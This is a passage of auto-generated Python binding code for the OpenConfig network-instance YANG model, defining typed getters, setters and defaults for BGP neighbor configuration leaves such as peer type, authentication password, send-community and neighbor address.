register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
def _get_peer_type(self):
"""
Getter method for peer_type, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_type (oc-bgp-types:peer-type)
YANG Description: Explicitly designate the peer or peer group as internal
(iBGP) or external (eBGP).
"""
return self.__peer_type
def _set_peer_type(self, v, load=False):
"""
Setter method for peer_type, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_type (oc-bgp-types:peer-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_peer_type is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_peer_type() directly.
YANG Description: Explicitly designate the peer or peer group as internal
(iBGP) or external (eBGP).
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={"INTERNAL": {}, "EXTERNAL": {}},
),
is_leaf=True,
yang_name="peer-type",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:peer-type",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """peer_type must be of a type compatible with oc-bgp-types:peer-type""",
"defined-type": "oc-bgp-types:peer-type",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'INTERNAL': {}, 'EXTERNAL': {}},), is_leaf=True, yang_name="peer-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-bgp-types:peer-type', is_config=True)""",
}
)
self.__peer_type = t
if hasattr(self, "_set"):
self._set()
def _unset_peer_type(self):
self.__peer_type = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={"INTERNAL": {}, "EXTERNAL": {}},
),
is_leaf=True,
yang_name="peer-type",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:peer-type",
is_config=True,
)
def _get_auth_password(self):
"""
Getter method for auth_password, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/auth_password (oc-types:routing-password)
YANG Description: Configures an MD5 authentication password for use with
neighboring devices.
"""
return self.__auth_password
def _set_auth_password(self, v, load=False):
"""
Setter method for auth_password, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/auth_password (oc-types:routing-password)
If this variable is read-only (config: false) in the
source YANG file, then _set_auth_password is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_auth_password() directly.
YANG Description: Configures an MD5 authentication password for use with
neighboring devices.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=six.text_type,
is_leaf=True,
yang_name="auth-password",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-types:routing-password",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """auth_password must be of a type compatible with oc-types:routing-password""",
"defined-type": "oc-types:routing-password",
"generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="auth-password", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-types:routing-password', is_config=True)""",
}
)
self.__auth_password = t
if hasattr(self, "_set"):
self._set()
def _unset_auth_password(self):
self.__auth_password = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="auth-password",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-types:routing-password",
is_config=True,
)
def _get_remove_private_as(self):
"""
Getter method for remove_private_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/remove_private_as (oc-bgp-types:remove-private-as-option)
YANG Description: Remove private AS numbers from updates sent to peers - when
this leaf is not specified, the AS_PATH attribute should be
sent to the peer unchanged
"""
return self.__remove_private_as
def _set_remove_private_as(self, v, load=False):
"""
Setter method for remove_private_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/remove_private_as (oc-bgp-types:remove-private-as-option)
If this variable is read-only (config: false) in the
source YANG file, then _set_remove_private_as is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_remove_private_as() directly.
YANG Description: Remove private AS numbers from updates sent to peers - when
this leaf is not specified, the AS_PATH attribute should be
sent to the peer unchanged
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
},
),
is_leaf=True,
yang_name="remove-private-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:remove-private-as-option",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """remove_private_as must be of a type compatible with oc-bgp-types:remove-private-as-option""",
"defined-type": "oc-bgp-types:remove-private-as-option",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRIVATE_AS_REMOVE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}, 'oc-bgp-types:PRIVATE_AS_REMOVE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}, 'PRIVATE_AS_REPLACE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}, 'oc-bgp-types:PRIVATE_AS_REPLACE_ALL': {'@module': 'openconfig-bgp-types', '@namespace': 'http://openconfig.net/yang/bgp-types'}},), is_leaf=True, yang_name="remove-private-as", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-bgp-types:remove-private-as-option', is_config=True)""",
}
)
self.__remove_private_as = t
if hasattr(self, "_set"):
self._set()
def _unset_remove_private_as(self):
self.__remove_private_as = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
},
),
is_leaf=True,
yang_name="remove-private-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:remove-private-as-option",
is_config=True,
)
def _get_route_flap_damping(self):
"""
Getter method for route_flap_damping, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/route_flap_damping (boolean)
YANG Description: Enable route flap damping.
"""
return self.__route_flap_damping
def _set_route_flap_damping(self, v, load=False):
"""
Setter method for route_flap_damping, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/route_flap_damping (boolean)
If this variable is read-only (config: false) in the
source YANG file, then _set_route_flap_damping is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_route_flap_damping() directly.
YANG Description: Enable route flap damping.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=YANGBool,
default=YANGBool("false"),
is_leaf=True,
yang_name="route-flap-damping",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """route_flap_damping must be of a type compatible with boolean""",
"defined-type": "boolean",
"generated-type": """YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="route-flap-damping", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=True)""",
}
)
self.__route_flap_damping = t
if hasattr(self, "_set"):
self._set()
def _unset_route_flap_damping(self):
self.__route_flap_damping = YANGDynClass(
base=YANGBool,
default=YANGBool("false"),
is_leaf=True,
yang_name="route-flap-damping",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
def _get_send_community(self):
"""
Getter method for send_community, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/send_community (oc-bgp-types:community-type)
YANG Description: Specify which types of community should be sent to the
neighbor or group. The default is to not send the
community attribute
"""
return self.__send_community
def _set_send_community(self, v, load=False):
"""
Setter method for send_community, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/send_community (oc-bgp-types:community-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_send_community is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_send_community() directly.
YANG Description: Specify which types of community should be sent to the
neighbor or group. The default is to not send the
community attribute
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"STANDARD": {}, "EXTENDED": {}, "BOTH": {}, "NONE": {}
},
),
default=six.text_type("NONE"),
is_leaf=True,
yang_name="send-community",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:community-type",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """send_community must be of a type compatible with oc-bgp-types:community-type""",
"defined-type": "oc-bgp-types:community-type",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'STANDARD': {}, 'EXTENDED': {}, 'BOTH': {}, 'NONE': {}},), default=six.text_type("NONE"), is_leaf=True, yang_name="send-community", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-bgp-types:community-type', is_config=True)""",
}
)
self.__send_community = t
if hasattr(self, "_set"):
self._set()
def _unset_send_community(self):
self.__send_community = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"STANDARD": {}, "EXTENDED": {}, "BOTH": {}, "NONE": {}
},
),
default=six.text_type("NONE"),
is_leaf=True,
yang_name="send-community",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:community-type",
is_config=True,
)
def _get_description(self):
"""
Getter method for description, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/description (string)
YANG Description: An optional textual description (intended primarily for use
with a peer or group
"""
return self.__description
def _set_description(self, v, load=False):
"""
Setter method for description, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/description (string)
If this variable is read-only (config: false) in the
source YANG file, then _set_description is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_description() directly.
YANG Description: An optional textual description (intended primarily for use
with a peer or group
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=six.text_type,
is_leaf=True,
yang_name="description",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="string",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """description must be of a type compatible with string""",
"defined-type": "string",
"generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='string', is_config=True)""",
}
)
self.__description = t
if hasattr(self, "_set"):
self._set()
def _unset_description(self):
self.__description = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="description",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="string",
is_config=True,
)
peer_group = __builtin__.property(_get_peer_group, _set_peer_group)
neighbor_address = __builtin__.property(
_get_neighbor_address, _set_neighbor_address
)
enabled = __builtin__.property(_get_enabled, _set_enabled)
peer_as = __builtin__.property(_get_peer_as, _set_peer_as)
local_as = __builtin__.property(_get_local_as, _set_local_as)
peer_type = __builtin__.property(_get_peer_type, _set_peer_type)
auth_password = __builtin__.property(_get_auth_password, _set_auth_password)
remove_private_as = __builtin__.property(
_get_remove_private_as, _set_remove_private_as
)
route_flap_damping = __builtin__.property(
_get_route_flap_damping, _set_route_flap_damping
)
send_community = __builtin__.property(_get_send_community, _set_send_community)
description = __builtin__.property(_get_description, _set_description)
_pyangbind_elements = OrderedDict(
[
("peer_group", peer_group),
("neighbor_address", neighbor_address),
("enabled", enabled),
("peer_as", peer_as),
("local_as", local_as),
("peer_type", peer_type),
("auth_password", auth_password),
("remove_private_as", remove_private_as),
("route_flap_damping", route_flap_damping),
("send_community", send_community),
("description", description),
]
)
class config(PybindBase):
"""
This class was auto-generated by the PythonClass plugin for PYANG
from YANG module openconfig-network-instance-l2 - based on the path /network-instances/network-instance/protocols/protocol/bgp/neighbors/neighbor/config. Each member element of
the container is represented as a class variable - with a specific
YANG type.
YANG Description: Configuration parameters relating to the BGP neighbor or
group
"""
__slots__ = (
"_path_helper",
"_extmethods",
"__peer_group",
"__neighbor_address",
"__enabled",
"__peer_as",
"__local_as",
"__peer_type",
"__auth_password",
"__remove_private_as",
"__route_flap_damping",
"__send_community",
"__description",
)
_yang_name = "config"
_pybind_generated_by = "container"
def __init__(self, *args, **kwargs):
self._path_helper = False
self._extmethods = False
self.__peer_group = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="peer-group",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="leafref",
is_config=True,
)
self.__neighbor_address = YANGDynClass(
base=[
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$"
},
),
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$"
},
),
],
is_leaf=True,
yang_name="neighbor-address",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:ip-address",
is_config=True,
)
self.__enabled = YANGDynClass(
base=YANGBool,
default=YANGBool("true"),
is_leaf=True,
yang_name="enabled",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
self.__peer_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="peer-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
self.__local_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="local-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
self.__peer_type = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={"INTERNAL": {}, "EXTERNAL": {}},
),
is_leaf=True,
yang_name="peer-type",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:peer-type",
is_config=True,
)
self.__auth_password = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="auth-password",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-types:routing-password",
is_config=True,
)
self.__remove_private_as = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
},
),
is_leaf=True,
yang_name="remove-private-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:remove-private-as-option",
is_config=True,
)
self.__route_flap_damping = YANGDynClass(
base=YANGBool,
default=YANGBool("false"),
is_leaf=True,
yang_name="route-flap-damping",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
self.__send_community = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"STANDARD": {}, "EXTENDED": {}, "BOTH": {}, "NONE": {}
},
),
default=six.text_type("NONE"),
is_leaf=True,
yang_name="send-community",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:community-type",
is_config=True,
)
self.__description = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="description",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="string",
is_config=True,
)
load = kwargs.pop("load", None)
if args:
if len(args) > 1:
raise TypeError("cannot create a YANG container with >1 argument")
all_attr = True
for e in self._pyangbind_elements:
if not hasattr(args[0], e):
all_attr = False
break
if not all_attr:
raise ValueError("Supplied object did not have the correct attributes")
for e in self._pyangbind_elements:
nobj = getattr(args[0], e)
if nobj._changed() is False:
continue
setmethod = getattr(self, "_set_%s" % e)
if load is None:
setmethod(getattr(args[0], e))
else:
setmethod(getattr(args[0], e), load=load)
def _path(self):
if hasattr(self, "_parent"):
return self._parent._path() + [self._yang_name]
else:
return [
"network-instances",
"network-instance",
"protocols",
"protocol",
"bgp",
"neighbors",
"neighbor",
"config",
]
def _get_peer_group(self):
"""
Getter method for peer_group, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_group (leafref)
YANG Description: The peer-group with which this neighbor is associated
"""
return self.__peer_group
def _set_peer_group(self, v, load=False):
"""
Setter method for peer_group, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_group (leafref)
If this variable is read-only (config: false) in the
source YANG file, then _set_peer_group is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_peer_group() directly.
YANG Description: The peer-group with which this neighbor is associated
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=six.text_type,
is_leaf=True,
yang_name="peer-group",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="leafref",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """peer_group must be of a type compatible with leafref""",
"defined-type": "leafref",
"generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="peer-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='leafref', is_config=True)""",
}
)
self.__peer_group = t
if hasattr(self, "_set"):
self._set()
def _unset_peer_group(self):
self.__peer_group = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="peer-group",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="leafref",
is_config=True,
)
def _get_neighbor_address(self):
"""
Getter method for neighbor_address, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/neighbor_address (oc-inet:ip-address)
YANG Description: Address of the BGP peer, either in IPv4 or IPv6
"""
return self.__neighbor_address
def _set_neighbor_address(self, v, load=False):
"""
Setter method for neighbor_address, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/neighbor_address (oc-inet:ip-address)
If this variable is read-only (config: false) in the
source YANG file, then _set_neighbor_address is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_neighbor_address() directly.
YANG Description: Address of the BGP peer, either in IPv4 or IPv6
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=[
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$"
},
),
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$"
},
),
],
is_leaf=True,
yang_name="neighbor-address",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:ip-address",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """neighbor_address must be of a type compatible with oc-inet:ip-address""",
"defined-type": "oc-inet:ip-address",
"generated-type": """YANGDynClass(base=[RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$'}),RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$'}),], is_leaf=True, yang_name="neighbor-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-inet:ip-address', is_config=True)""",
}
)
self.__neighbor_address = t
if hasattr(self, "_set"):
self._set()
def _unset_neighbor_address(self):
self.__neighbor_address = YANGDynClass(
base=[
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$"
},
),
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$"
},
),
],
is_leaf=True,
yang_name="neighbor-address",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:ip-address",
is_config=True,
)
def _get_enabled(self):
"""
Getter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/enabled (boolean)
YANG Description: Whether the BGP peer is enabled. In cases where the
enabled leaf is set to false, the local system should not
initiate connections to the neighbor, and should not
respond to TCP connections attempts from the neighbor. If
the state of the BGP session is ESTABLISHED at the time
that this leaf is set to false, the BGP session should be
ceased.
"""
return self.__enabled
def _set_enabled(self, v, load=False):
"""
Setter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/enabled (boolean)
If this variable is read-only (config: false) in the
source YANG file, then _set_enabled is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_enabled() directly.
YANG Description: Whether the BGP peer is enabled. In cases where the
enabled leaf is set to false, the local system should not
initiate connections to the neighbor, and should not
respond to TCP connections attempts from the neighbor. If
the state of the BGP session is ESTABLISHED at the time
that this leaf is set to false, the BGP session should be
ceased.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=YANGBool,
default=YANGBool("true"),
is_leaf=True,
yang_name="enabled",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
